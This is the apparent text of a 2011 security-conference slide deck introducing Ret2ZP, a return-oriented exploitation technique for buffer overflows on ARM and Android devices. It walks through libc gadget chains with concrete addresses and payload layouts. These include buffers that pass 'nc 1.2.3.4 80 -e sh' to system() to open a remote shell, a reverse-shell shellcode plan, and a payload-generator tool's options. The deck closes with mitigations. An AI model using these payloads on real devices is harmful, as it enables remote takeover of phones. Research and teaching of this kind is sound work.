Popping Shell on A(ndroid)RM Devices

By: Itzhak (Zuk) Avraham
# whoami | presentation

Itzhak Avraham (Zuk)
Founder & CTO: zImperium
Researcher for Samsung Electronics

Twitter: @ihackbanme
Blog: http://imthezuk.blogspot.com
For any questions/talks/requests:
zuk@zimperium.com

# root
Presentation

This presentation will be available online at:
http://imthezuk.blogspot.com

Ohh yeah, disable AVG ;)

Reasons for phone exploitation:

- Make your own botnet(?!)
- Elevation of Privileges
- SMS/Calls

Reasons for ARM exploitation:

- Hack anything from fridge to T.V. or laundry machine
Updates gets more attention

- Recent Gingerbreak exploit
  - OTA
  - patches
Automated protection

• Code free vulnerabilities?
X86 Status

• Stack cookies
• ASLR
• SafeSEH
• DEP/NX
X86 Status Still Exploitable

- Secunia’s research
X86 Status Still Exploitable

- Secunia’s research (cont.)

<table>
<thead>
<tr>
<th>Application</th>
<th>DEP (7)</th>
<th>DEP (XP)</th>
<th>Full ASLR</th>
</tr>
</thead>
<tbody>
<tr>
<td>Flash Player</td>
<td>N/A</td>
<td>N/A</td>
<td>YES</td>
</tr>
<tr>
<td>Sun Java JRE</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Adobe Reader</td>
<td>YES*</td>
<td>YES*</td>
<td>no</td>
</tr>
<tr>
<td>Mozilla Firefox</td>
<td>YES</td>
<td>YES</td>
<td>no</td>
</tr>
<tr>
<td>Apple Quicktime</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>VLC Media Player</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Apple iTunes</td>
<td>YES</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Google Chrome</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Shockwave Player</td>
<td>N/A</td>
<td>N/A</td>
<td>no</td>
</tr>
<tr>
<td>OpenOffice.org</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Google Picasa</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Foxit Reader</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Opera</td>
<td>YES</td>
<td>YES</td>
<td>no</td>
</tr>
<tr>
<td>Winamp</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>RealPlayer</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Apple Safari</td>
<td>YES</td>
<td>YES</td>
<td>no</td>
</tr>
</tbody>
</table>
X86 Status – exploitation?

- Nice trick to bypass cookie, byte by byte (Max<=1024 tries instead of $2^{32}$) when forking and no exec.
- Bypassing Ascii Armored Address Space, NX, ASLR, Cookies under few assumptions is possibly but extremely hard and not common. Phrack 67 (Adam 'pi3' Zabrocki)
What about ARM?

- Yet. Some devices has minimum protection, some none.
- Not protected (Cookies/XN/ASLR)
- Getting better
ARM

- Gaining control of devices is becoming increasingly interesting:
  - Profit
  - Amount
  - Vulnerable – Controlling the EIP/PC via the GUI?!?!?! Demo in a few slides
  - More Techniques

- DEP
- Cookies
- ASLR implementations ("adding ASLR to rooted iPhones" – POC 2010 – Stefan Esser)
ARM & Android

- Getting more secured;
- 2.1:

```
cat maps
00000000-00028000 r-xp 00000000 00:01 37 /sbin/adbd
00028000-00029000 rwxp 00020000 00:01 37 /sbin/adbd
00029000-00035000 rwxp 00029000 00:00 0 [heap]
10000000-10001000 r-xp 00000000 00:00 0
10001000-10100000 rwxp 10001000 00:00 0
40000000-40008000 r-xs 00000000 00:00 1169 /dev/ashmem/system_properties (deleted)
40008000-40009000 r-xp 40008000 00:00 0
40009000-4000a000appiness
```

- 2.3.4:
Exploits and the black market

- Value of webkit zero-day vulnerability in the black market: $35k-$95k

On Mon, 2010-... at 09:45 +0200, Itzhak (Zuk) Avraham wrote:

> Just wondering how much do you think that worth?

It really depends on the vulnerability. If it's in a core service or component of the OS that would obviously be worth more than if a particular app was required, even if the app comes installed by default on any particular devices. I would ballpark anywhere in the range from $35k to $95k without knowing any more detail. If you could be more
Android & Patches?

- When you get a crash dump that PC(/EIP) points to **0x41414140**;

- Google estimated engineer’s quote: “Hmmm…. Interesting!”
Android & Patches?

• Is it that easy?
• Sometimes. **Buffer overflow via GUI parameter (?!)**
Android & Patches?

DEMO!
Android & Patches?
Disable attack vectors – X86

- X86 + Firewall == client side
Firewall and mobile phone?

- Cannot be blocked (sms, gsm, ...)
Mobile phones?

- Firewall?
So how much would it worth?

- If a RCE with Webkit which is passive worth 35k-95k $USD
- Truly remote?
So how much would it be worth?

- If a RCE with Webkit which is passive worth 35k-95k $USD
- Truly remote?

- WE DON’T CARE! Let’s switch to technical details!
Full instructions at my blog.
If you enjoy life,
  - DO NOT DEBUG WITHOUT SYMBOLS
# Ret2libc Attack

- Ret2LibC Overwrites the return address and pass parameters to vulnerable function.

<table>
<thead>
<tr>
<th>buffer</th>
<th>system</th>
<th>fake_ret</th>
<th>/bin/sh</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>args</td>
<td>EBP</td>
<td>EIP</td>
<td></td>
</tr>
</tbody>
</table>
It will not work on ARM

- In order to understand why we have problems using Ret2Libc on ARM with regular X86 method, we have to understand how the calling conventions work on ARM & basics of ARM assembly
ARM Assembly basics

- ARM Assembly uses different kind of commands from what most hackers are used to (X86).

- The standard ARM calling convention allocates the 16 ARM registers as:
  - R15 is the program counter.
  - R14 is the link register.
  - R13 is the stack pointer.
  - R12 is the Intra-Procedure-call scratch register.
  - R4-R11: used to hold local variables.
  - R0-R3: used to hold argument values to and from a subroutine.
ARM & ret2libc

- Ret2LibC Overwrites the return address and pass arguments to vulnerable function.
- Arguments are passed on Ro-R3 (e.g :fastcall).
- We can override existing local-variables from local function.
- And PC (Program Counter/R15)
- Some adjustments are needed.
ARM & ret2libc

FAILURE
It takes a lot of work sometimes
Theory

- Theory (in short & in most cases):
  - On function exit, the pushed Link Register (R14) is being popped into PC (R15).
  - Controlling LR means controlling PC and we can gain control of the application!
Ro is saved

- Saved Ro passed in buffer
If you are facing that scenario
The “GODs of exploits” must love you;

- Keeping the Ro to point to beginning of buffer is not a real life scenario – it needs the following demands:
  - Vulnerable function returns VOID.
  - There are no actions after the overflow [Ro most likely to be deleted]
  - The buffer should be small in-order for stack not to run over itself when calling SYSTEM function. (~16 bytes).
BO Attack on ARM

- Parameter adjustments
- Variable adjustments
- Gaining back control to PC
- Stack lifting

- RoP + Ret2Libc + Stack lifting + Parameter/Variable adjustments = Ret2ZP
- Ret2ZP == Return to Zero-Protection
Ret2ZP for Local Attacker

- How can we control R0? R1? Etc?
- We’ll need to jump into POP instruction which also POPs PC or do with it something later:

- For example erand48 function epilog (from libc):

  0x41dc7344 <erand48+28>: bl 0x41dc74bc <erand48_r>
  0x41dc7348 <erand48+32>: ldm sp, {r0, r1} <= R0 = /bin/sh
  0x41dc734c <erand48+36>: add sp, sp, #12 ; 0xc
  0x41dc7350 <erand48+40>: pop {pc} =====> PC = &SYSTEM.

Meaning our buffer will look something like this:

  AA...A [R4] [R11] &0x41dc7344 &[address of /bin/sh] [R1] [4bytes of Junk] &SYSTEM
Ret2ZP for Remote Attacker (on hacker friendly machine)

- By using relative locations, we can adjust R0 to point to beginning of buffer. R0 Will point to *

  Meaning our buffer will look something like this:

  *nc 1.2.3.4 80 –e sh;#…A [R4] [R11] &PointR0ToRelativeCaller … [JUNK] [&SYSTEM]

- We can run remote commands such as:

  Nc 1.2.3.4 80 –e sh

  ***Don’t forget to separate commands with # or ; to end command execution; 😊
Ret2ZP Current Limitations

As an exploit developer, the last slide almost makes me want to vomit!

- Only DWORD? Or None?
- Stack lifting is needed!

- We love ARM
Ret2ZP Stack lifting

- Moving SP to writable location
- `wprintf` function epilog:

```
0x41df8954:  add   sp, sp, #12  ; 0xc
0x41df8958:  pop   {lr}       ; (ldr lr, [sp], #4)  \_<--- We need to jump here!
                 ; lr = [sp]
                 ; sp += 4
0x41df895c:  add   sp, sp, #16 ; 0x10 STACK IS LIFTED RIGHT HERE!
0x41df8960:  bx    lr        ;  \_<--- We'll get out, here :)
Ret2ZP Stack lifting

- Enough lifting can be around ~384 bytes
- Our buffer for 16 byte long buffer will look like:
  - “nc 1.2.3.4 80 –e sh;#A..A” [R4] [R11] 0x41df8958 *0x41df8958 [16 byte] [re-lift] [16 byte] [re-lift][16 byte] .... [R0 Adjustment] [R1] [Junk] [&SYSTEM]
Ret2ZP Parameters adjustments

● All you need is POP and JMP to controlled POP

● e.g:

  ● Mcount epilog:
  ● 0x41E6583C mcount
  ● 0x41E6583C STMFD SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'
  ● 0x41E65840 MOVS R11, R11
  ● 0x41E65844 LDRNE R0, [R11,#-4]
  ● 0x41E65848 MOVNES R1, LR
  ● 0x41E6584C BLNE mcount_internal
  ● 0x41E65850 LDMFD SP!, {R0-R3,R11,LR} /**= Jumping here will get you to control R0, R1, R2, R3, R11 and LR which you'll be jumping into.
  ● 0x41E65854 BX LR
  ● 0x41E65854 ; End of function mcount
Ret2ZP Tricks & Exploitation

- Target:
  - NOT SUIDED BINARIES..
    - Exploiting a local vuln, doesn’t mean SUIDED.
  - FILE
  - SOCKET
  - CALLBACK
  - (IPC in general)
  - Ohh.. And Suieded binaries 😊
Ret2ZP Tricks & Exploitation

- ARM is DWORD aligned; Thumb mode is 16 bit aligned. **Making sure LSB is 0.** (unless branch with link [bx] jump)

- Command must be even (unlike X86).

- Let’s use it for our OWN purposes

- Disclaimer
Ret2ZP Tricks & Exploitation

- Bypass filters:
  - E.g: $0x41 = A$, $0x40 = @$.
  - Email application Buffer Overflow which allows only 1 ‘@’. Jump to $0x***A$ instead of $0x***@$.

- Avoid nulls: jump to $0x**01$;
  - With address loading, this can almost eliminate the odds for a null.
Ret2ZP Tricks & Exploitation

- NOP : 0x41414141 is a valid instruction; can be used as NOP.
- Will be used as NOP in the Ret2ZP remote attack PoC
Ret2ZP Tricks & Exploitation

- Bypass filters:
  - E.g: $0x41 = A$, $0x40 = @$.
  - Email application Buffer Overflow which allows only 1 '@'. Jump to $0x***A$ instead of $0x***@$.

- Avoid nulls: jump to $0x**01$;
  - With address loading, this can almost eliminate the odds for a null.
Ret2ZP Tricks & Exploitation

- In local exploits: run as little ASM as you can and use local file/sockets strings in tmp locations for your own use!

- 16 bytes for reverse shell is much better than full payload.
Let’s see if we can gain control over an Android phone:

- Limitations
- Okay, Let’s do it!
  - Android libc… mmm
  - What do we need to know:
    - Compiled differently from libc here
    - Different flags, but same technique works.
    - No getting things to R0 immediately? (pop R0)
    - `/bin/sh` → `/system/bin/sh`
Android & Ret2ZP

Controlling Ro

- No worries, it’s all the same (more. or less)…

```
mallinfo

STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4
LDMFD SP!, {R4,PC}

; End of function mallinfo
```

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0x00000000</td>
</tr>
<tr>
<td>R4</td>
<td>0x00000000</td>
</tr>
</tbody>
</table>

For example: /system/bin/sh is on 0xafe13370
Android & Ret2ZP

Controlling R0

- No worries, it’s all the same (more. or less)...

```asm
mallinfo
STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4
LDMFD SP!, {R4,PC}  ; jump here and store &/system/bin/sh on R4!
```

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0x00000000</td>
</tr>
<tr>
<td>R4</td>
<td>0x00000000</td>
</tr>
</tbody>
</table>

; End of function mallinfo
mallinfo

STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4  ❯ This time. Decrease DWORD from PC.
LDMFD SP!, {R4,PC}

; End of function mallinfo

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0x00000000</td>
</tr>
<tr>
<td>R4</td>
<td>0xafe13370</td>
</tr>
</tbody>
</table>
Android & Ret2ZP

mallinfo

<table>
<thead>
<tr>
<th>Register</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0xafe13370</td>
</tr>
<tr>
<td>R4</td>
<td>0xafe13370</td>
</tr>
</tbody>
</table>

STMFD SP!, {R4,LR}
MOV R4, R0
BL j_dlmallinfo
MOV R0, R4
LDMFD SP!, {R4,PC} ← Random DATA to R4 and Jump to target

; End of function mallinfo

- AA...A \x70\x33\xe1\xaf [~/system/bin/sh] \xd4\x93\xe0\xaf [\x41\x41\x41\x41
\x42\x42\x42\x42] [PC: &system]
DEMO ON NEXUS G1
A full Ret2ZP attack?

Full use of existing shellcodes.
Being able to write in Assembly.
Reverse Shell.

Sounds like a good deal.
**Ret2ZP full remote attack**

R4->R0 trick. R0 Contains our dest shellcode.
R1 Holds our location of buffer+shellcode.
Pop to R2/R3 -> R2 == sizeof(buffer);
Stack Lift 40*8 = 320;
Memcpy;
Jump to Shellcode location (R0);
Ret2ZP full remote attack

Even though it has exec/stack, we’ll copy shellcode to executable location and run it.

Stack RWX

Shellcode

memcpy

0xafe3d000 (RWX)

Copy of Shellcode
Quick look of the shellcode;
Reverse Shell: 192.168.0.101 port 12345
Introducing zSnow

Best example of “How not to develop shellcode”
Introducing zSnow

jars@ubuntu:/hitb2011ams$ python main3.py -h
Usage: main3.py [options] arg

Options:
-h, --help  show this help message and exit
-f FILENAME, --file=FILENAME
    read shellcode from FILENAME. If not exists, specify port and ip using --port and --ip parameters
-r REVERSE_PORT, --port=REVERSE_PORT
    Reverse shell to this port. Only use if didn't specify --file/-f
-i REVERSE_IP, --ip=REVERSE_IP
    Reverse shell to this IP. Only use if didn't specify --file/-f
-p PADDING, --padding=PADDING
    Amount of padding before RoP Ret2ZP sequence
-o FILE_OUTPUT, --output=FILE_OUTPUT
    Write results to FILENAME
-e EXECUTABLE_ADDRESS, --exec-address=EXECUTABLE_ADDRESS
    Specify executable address for code execution : e.g : 0xafaed1000
-a ANDROID_VERSION, --android-version=ANDROID_VERSION
    Which Android version Ret2ZP shellcode is for. Current supported versions are : 2.1,2.2
-n IPHONE_VERSION, --iphone-version=IPHONE_VERSION
    Which iPhone version Ret2ZP shellcode is for. Current supported versions are : none
-v, --verbose
-q, --quiet
Summary

- Buffer overflows on ARM are a real threat
- Use as much protection as possible.
Mitigations

- ASLR
- Proper use of ‘XN’ bit
- Cookies
- Multiple vectors
Special thanks to:

- Anthony Lineberry
- Johnathan Norman
- Moshe Vered
- Mattew Carpetner
- Ilan Aelion (‘ng’)
Reference

- **Smashing The Stack For Fun And Profit**
- [http://www.soldierx.com/hdb/SecurityFocus](http://www.soldierx.com/hdb/SecurityFocus) - Aleph One
- Matt Canover - Heap overflow tutorial
- **Phrack magazine p66,oxoc – Alphanumeric ARM Shellcode** (Yves Younan, Pieter Philippaerts)
- **Phrack magazine p58,ox04 – advanced ret2libc attacks** (Nergal)
- Defense Embedded Systems Against BO via Hardware/Software (Zili Shao, Qingfeng Zhuge, Yi He, Edwin H.-M. Sha)
- **Buffer Overflow - Wikipedia**
- iPwnning the iPhone: Charlie Miller
- **ARM System-On-Chip Book**: Awesome! By Stever Furber – Like the bible of ARM.
- Understanding the Linux Kernel – by Bovet & Cesati
- morris worm
- **Practical Return Oriented Programming** – BH LV 2010 – by Dino Dai Zovi
Questions?
Feel free to contact me at: zuk@zimperium.com

Blog: http://imthezuk.blogspot.com
Twitter: @ihackbanme